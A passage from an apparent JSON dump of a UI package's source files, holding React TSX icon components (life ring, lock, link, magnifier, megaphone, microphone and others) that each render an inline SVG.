strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/life-ring-fill.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function LifeRingFill(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M6.188,7.951l-1.404-.525c.457-1.223,1.42-2.186,2.643-2.643l.525,1.405c-.815,.305-1.458,.947-1.764,1.763Z\"\n          fill=\"currentColor\"\n        />\n        <path\n          d=\"M11.812,7.951c-.306-.815-.948-1.458-1.764-1.763l.525-1.405c1.223,.457,2.186,1.42,2.643,2.643l-1.404,.525Z\"\n          fill=\"currentColor\"\n        />\n        <path\n          d=\"M10.574,13.217l-.525-1.405c.815-.305,1.458-.947,1.764-1.763l1.404,.525c-.457,1.223-1.42,2.186-2.643,2.643Z\"\n          fill=\"currentColor\"\n        />\n        <path\n          d=\"M7.426,13.217c-1.223-.457-2.186-1.42-2.643-2.643l1.404-.525c.306,.815,.948,1.458,1.764,1.763l-.525,1.405Z\"\n          fill=\"currentColor\"\n        />\n        <path\n          d=\"M6.202,16.497c-2.174-.812-3.887-2.524-4.698-4.699l1.404-.524c.66,1.767,2.052,3.159,3.819,3.818l-.525,1.405Z\"\n          fill=\"currentColor\"\n        />\n        <path\n          d=\"M11.798,16.497l-.525-1.405c1.768-.66,3.159-2.051,3.819-3.818l1.404,.524c-.812,2.175-2.524,3.888-4.698,4.699Z\"\n          fill=\"currentColor\"\n        />\n        <path\n          d=\"M15.091,6.727c-.658-1.767-2.05-3.159-3.818-3.819l.525-1.405c2.175,.812,3.888,2.525,4.699,4.7l-1.406,.524Z\"\n          fill=\"currentColor\"\n        />\n        <path\n          d=\"M2.908,6.727l-1.404-.524c.812-2.175,2.524-3.888,4.698-4.699l.525,1.405c-1.768,.66-3.159,2.051-3.819,3.818Z\"\n          fill=\"currentColor\"\n        />\n        <path\n          d=\"M10.312,6.237c-.087,0-.176-.015-.263-.047-.675-.251-1.429-.251-2.098,0-.188,.069-.394,.062-.574-.021-.181-.083-.321-.233-.392-.42l-1.399-3.749c-.069-.186-.062-.393,.021-.574,.083-.181,.234-.322,.42-.391,1.902-.71,4.045-.71,5.947,0,.388,.145,.585,.577,.44,.965l-1.399,3.75c-.113,.302-.399,.488-.703,.488Z\"\n          fill=\"currentColor\"\n        />\n        <path\n          d=\"M16.263,12.46c-.087,0-.176-.015-.263-.047l-3.749-1.399c-.388-.145-.585-.577-.44-.965,.126-.336,.189-.689,.189-1.049,0-.362-.063-.714-.188-1.047-.07-.187-.062-.393,.02-.575,.083-.181,.233-.322,.42-.392l3.749-1.399c.393-.145,.82,.053,.965,.44,.355,.949,.535,1.95,.535,2.973s-.18,2.024-.535,2.973c-.112,.301-.398,.487-.702,.487Z\"\n          fill=\"currentColor\"\n        />\n        <path\n          d=\"M9,17.5c-1.022,0-2.022-.18-2.974-.535-.388-.145-.585-.577-.44-.965l1.399-3.75c.146-.388,.576-.585,.966-.44,.675,.251,1.429,.251,2.098,0,.187-.07,.393-.063,.574,.021,.181,.083,.321,.233,.392,.42l1.399,3.749c.069,.186,.062,.393-.021,.574-.083,.181-.234,.322-.42,.391-.951,.355-1.951,.535-2.974,.535Z\"\n          fill=\"currentColor\"\n        />\n        <path\n          d=\"M1.737,12.46c-.304,0-.59-.186-.702-.487-.355-.949-.535-1.95-.535-2.973s.18-2.024,.535-2.973c.145-.387,.574-.584,.965-.44l3.749,1.399c.388,.145,.585,.577,.44,.965-.126,.336-.189,.689-.189,1.049,0,.362,.063,.714,.188,1.047,.07,.187,.062,.393-.02,.575-.083,.181-.233,.322-.42,.392l-3.749,1.399c-.087,.032-.176,.047-.263,.047Z\"\n          fill=\"currentColor\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/life-ring.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function LifeRing(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M5.486,7.688c.379-1.016,1.187-1.823,2.203-2.203\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M10.312,5.486c1.016,.379,1.823,1.187,2.203,2.203\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M12.514,10.312c-.379,1.016-1.187,1.823-2.203,2.203\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M7.688,12.514c-1.016-.379-1.823-1.187-2.203-2.203\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M6.464,15.794c-1.964-.733-3.525-2.294-4.259-4.259\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M15.794,11.536c-.733,1.964-2.295,3.525-4.259,4.259\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M11.536,2.206c1.964,.733,3.525,2.295,4.259,4.259\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M2.206,6.464c.733-1.964,2.294-3.525,4.259-4.259\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M10.311,5.487l1.399-3.749h0c-.844-.315-1.757-.487-2.711-.487-.954,0-1.867,.172-2.711,.487l1.399,3.749c.409-.153,.849-.236,1.311-.236s.903,.084,1.311,.237Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M12.513,10.311l3.749,1.399h0c.315-.844,.487-1.757,.487-2.71,0-.954-.172-1.867-.487-2.711l-3.749,1.399c.153,.409,.236,.849,.236,1.311s-.084,.903-.237,1.311Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M7.689,12.513l-1.399,3.749h0c.844,.315,1.757,.487,2.711,.487,.954,0,1.867-.172,2.711-.487l-1.399-3.749c-.409,.153-.849,.236-1.311,.236s-.903-.084-1.311-.237Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M5.487,7.689l-3.749-1.399h0c-.315,.844-.487,1.757-.487,2.71,0,.954,.172,1.867,.487,2.711l3.749-1.399c-.153-.409-.236-.849-.236-1.311s.084-.903,.237-1.311Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/lines-y.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function LinesY(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"2.75\"\n          x2=\"2.75\"\n          y1=\"2.75\"\n          y2=\"15.25\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"15.25\"\n          x2=\"15.25\"\n          y1=\"4.75\"\n          y2=\"15.25\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"7\"\n          x2=\"7\"\n          y1=\"7.75\"\n          y2=\"15.25\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"11\"\n          x2=\"11\"\n          y1=\"11.75\"\n          y2=\"15.25\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/link-broken.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function LinkBroken(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M8.5,6.827c-.352,.168-.682,.398-.973,.69l-.01,.01c-1.381,1.381-1.381,3.619,0,5l2.175,2.175c1.381,1.381,3.619,1.381,5,0l.01-.01c1.381-1.381,1.381-3.619,0-5l-.931-.931\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M9.5,11.173c.352-.168,.682-.398,.973-.69l.01-.01c1.381-1.381,1.381-3.619,0-5l-2.175-2.175c-1.381-1.381-3.619-1.381-5,0l-.01,.01c-1.381,1.381-1.381,3.619,0,5l.931,.931\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"12.25\"\n          x2=\"13\"\n          y1=\"3.75\"\n          y2=\"1.5\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"14.25\"\n          x2=\"16.5\"\n          y1=\"5.75\"\n          y2=\"5\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"3.75\"\n          x2=\"1.5\"\n          y1=\"12.25\"\n          y2=\"13\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"5.75\"\n          x2=\"5\"\n          y1=\"14.25\"\n          y2=\"16.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/link4.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Link4(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M5.75,7.25v-2.25c0-1.795,1.455-3.25,3.25-3.25h0c1.795,0,3.25,1.455,3.25,3.25v2.25\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M5.75,10.75v2.25c0,1.795,1.455,3.25,3.25,3.25h0c1.795,0,3.25-1.455,3.25-3.25v-2.25\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"9\"\n          x2=\"9\"\n          y1=\"11.25\"\n          y2=\"6.75\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/location-pin.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function LocationPin(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M13.429,5.978c0,2.609-4.429,7.272-4.429,7.272,0,0-4.429-4.662-4.429-7.272,0-2.675,2.289-4.228,4.429-4.228s4.429,1.552,4.429,4.228Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M14.381,11.682l1.023,2.5c.404,.987-.322,2.068-1.388,2.068H3.984c-1.066,0-1.792-1.081-1.388-2.068l1.023-2.5\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <circle\n          cx=\"9\"\n          cy=\"6\"\n          fill=\"none\"\n          r=\"1.5\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/lock-fill.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function LockFill(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg viewBox=\"0 0 18 18\" xmlns=\"http://www.w3.org/2000/svg\" {...props}>\n      <g fill=\"currentColor\">\n        <path\n          d=\"M12.25,9c-.414,0-.75-.336-.75-.75v-3.25c0-1.378-1.122-2.5-2.5-2.5s-2.5,1.122-2.5,2.5v3.25c0,.414-.336,.75-.75,.75s-.75-.336-.75-.75v-3.25c0-2.206,1.794-4,4-4s4,1.794,4,4v3.25c0,.414-.336,.75-.75,.75Z\"\n          fill=\"currentColor\"\n        />\n        <path\n          d=\"M12.75,7.5H5.25c-1.517,0-2.75,1.233-2.75,2.75v4c0,1.517,1.233,2.75,2.75,2.75h7.5c1.517,0,2.75-1.233,2.75-2.75v-4c0-1.517-1.233-2.75-2.75-2.75Zm-3,5.25c0,.414-.336,.75-.75,.75s-.75-.336-.75-.75v-1c0-.414,.336-.75,.75-.75s.75,.336,.75,.75v1Z\"\n          fill=\"currentColor\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/lock.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Lock(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M5.75,8.25v-3.25c0-1.795,1.455-3.25,3.25-3.25h0c1.795,0,3.25,1.455,3.25,3.25v3.25\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"9\"\n          x2=\"9\"\n          y1=\"11.75\"\n          y2=\"12.75\"\n        />\n        <rect\n          height=\"8\"\n          width=\"11.5\"\n          fill=\"none\"\n          rx=\"2\"\n          ry=\"2\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x=\"3.25\"\n          y=\"8.25\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/magnifier.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Magnifier(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"15.25\"\n          x2=\"11.285\"\n          y1=\"15.25\"\n          y2=\"11.285\"\n        />\n        <circle\n          cx=\"7.75\"\n          cy=\"7.75\"\n          fill=\"none\"\n          r=\"5\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/map-position.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function MapPosition(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <circle\n          cx=\"15.25\"\n          cy=\"12.75\"\n          fill=\"none\"\n          r=\"2\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M16.25,8.371v-3.374c0-.64-.592-1.115-1.217-.976l-2.998,.666c-.186,.041-.38,.029-.559-.036l-4.952-1.801c-.179-.065-.373-.078-.559-.036l-3.432,.763c-.458,.102-.783,.508-.783,.976V13.003c0,.64,.592,1.115,1.217,.976l2.998-.666c.186-.041,.38-.029,.559,.036l4.926,1.791\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"15.25\"\n          x2=\"15.25\"\n          y1=\"14.75\"\n          y2=\"17.25\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/marketing-target.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function MarketingTarget(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M9.217,9.622l2.016,5.781c.099,.283,.498,.285,.599,.003l.895-2.487c.032-.089,.102-.159,.191-.191l2.487-.895c.282-.101,.28-.501-.003-.599l-5.781-2.016c-.251-.088-.492,.154-.405,.405Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M16.244,8.879c-.065-3.948-3.281-7.129-7.244-7.129C4.996,1.75,1.75,4.996,1.75,9c0,3.963,3.182,7.179,7.13,7.244-.002-.006-.005-.011-.008-.017\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M13.046,7.763c-.532-1.74-2.132-3.013-4.046-3.013-2.347,0-4.25,1.903-4.25,4.25,0,1.914,1.273,3.513,3.013,4.045\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"12.778\"\n          x2=\"16.25\"\n          y1=\"12.778\"\n          y2=\"16.25\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/media-pause.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function MediaPause(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      width=\"17\"\n      height=\"16\"\n      viewBox=\"0 0 17 16\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <path\n        d=\"M5.16656 2.44434H3.83322C3.34231 2.44434 2.94434 2.84231 2.94434 3.33322V12.6666C2.94434 13.1575 3.34231 13.5554 3.83322 13.5554H5.16656C5.65748 13.5554 6.05545 13.1575 6.05545 12.6666V3.33322C6.05545 2.84231 5.65748 2.44434 5.16656 2.44434Z\"\n        stroke=\"#171717\"\n        strokeWidth=\"1.5\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n      />\n      <path\n        d=\"M13.1666 2.44434H11.8332C11.3423 2.44434 10.9443 2.84231 10.9443 3.33322V12.6666C10.9443 13.1575 11.3423 13.5554 11.8332 13.5554H13.1666C13.6575 13.5554 14.0554 13.1575 14.0554 12.6666V3.33322C14.0554 2.84231 13.6575 2.44434 13.1666 2.44434Z\"\n        stroke=\"#171717\"\n        strokeWidth=\"1.5\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/media-play.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function MediaPlay(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      width=\"17\"\n      height=\"16\"\n      viewBox=\"0 0 17 16\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <path\n        d=\"M5.1619 2.55825L13.5992 7.23025C14.2081 7.56714 14.2081 8.43292 13.5992 8.7698L5.1619 13.4418C4.56723 13.7716 3.83301 13.3458 3.83301 12.672V3.32803C3.83301 2.65425 4.56634 2.22847 5.1619 2.55825Z\"\n        stroke=\"#171717\"\n        strokeWidth=\"1.5\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/megaphone.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Megaphone(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M3.75,11.457v2.704c0,.41,.25,.778,.631,.929l1.945,.773c.4,.159,.856,.044,1.134-.284l1.666-1.979\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M12.954,15.125L2.61,11.002c-.256-.099-.457-.296-.564-.549-.148-.35-.296-.847-.296-1.453,0-.271,.03-.817,.289-1.436,.108-.257,.313-.466,.573-.566,3.638-1.409,6.704-2.715,10.342-4.124\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M14.5,9c0-.828-.672-1.5-1.5-1.5-.053,0-.103,.01-.155,.016-.058,.452-.095,.945-.095,1.484s.037,1.032,.095,1.484c.052,.005,.102,.016,.155,.016,.828,0,1.5-.672,1.5-1.5Z\"\n          fill=\"currentColor\"\n          stroke=\"none\"\n        />\n        <ellipse\n          cx=\"13.5\"\n          cy=\"9\"\n          fill=\"none\"\n          rx=\"2.75\"\n          ry=\"6.25\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/menu3.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Menu3(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"2.25\"\n          x2=\"15.75\"\n          y1=\"9\"\n          y2=\"9\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"9.75\"\n          x2=\"15.75\"\n          y1=\"3.75\"\n          y2=\"3.75\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"2.25\"\n          x2=\"8.25\"\n          y1=\"14.25\"\n          y2=\"14.25\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/message-smile.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function MessageSmile(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg viewBox=\"0 0 18 18\" xmlns=\"http://www.w3.org/2000/svg\" {...props}>\n      <g fill=\"currentColor\">\n        <path\n          d=\"M9,1C4.589,1,1,4.589,1,9c0,1.397,.371,2.778,1.062,3.971,.238,.446-.095,2.002-.842,2.749-.209,.209-.276,.522-.17,.798,.105,.276,.364,.465,.659,.481,.079,.004,.16,.006,.242,.006,1.145,0,2.534-.407,3.44-.871,.675,.343,1.39,.587,2.131,.727,.484,.092,.981,.138,1.478,.138,4.411,0,8-3.589,8-8S13.411,1,9,1Zm3.529,11.538c-.944,.943-2.198,1.462-3.529,1.462s-2.593-.522-3.539-1.47c-.292-.293-.292-.768,0-1.061,.294-.293,.77-.292,1.062,0,1.322,1.326,3.621,1.328,4.947,.006,.293-.294,.768-.292,1.061,0,.292,.293,.292,.768-.002,1.061Z\"\n          fill=\"currentColor\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/microphone-fill.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function MicrophoneFill(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M9,12c2.206,0,4-1.794,4-4v-3c0-2.206-1.794-4-4-4s-4,1.794-4,4v3c0,2.206,1.794,4,4,4Z\"\n          fill=\"currentColor\"\n        />\n        <path\n          d=\"M15.25,7.25c-.414,0-.75,.336-.75,.75,0,3.033-2.467,5.5-5.5,5.5s-5.5-2.467-5.5-5.5c0-.414-.336-.75-.75-.75s-.75,.336-.75,.75c0,3.606,2.742,6.583,6.25,6.958v1.292c0,.414,.336,.75,.75,.75s.75-.336,.75-.75v-1.292c3.508-.376,6.25-3.352,6.25-6.958,0-.414-.336-.75-.75-.75Z\"\n          fill=\"currentColor\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/minus.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Minus(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"3.25\"\n          x2=\"14.75\"\n          y1=\"9\"\n          y2=\"9\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/mobile-phone.tsx",
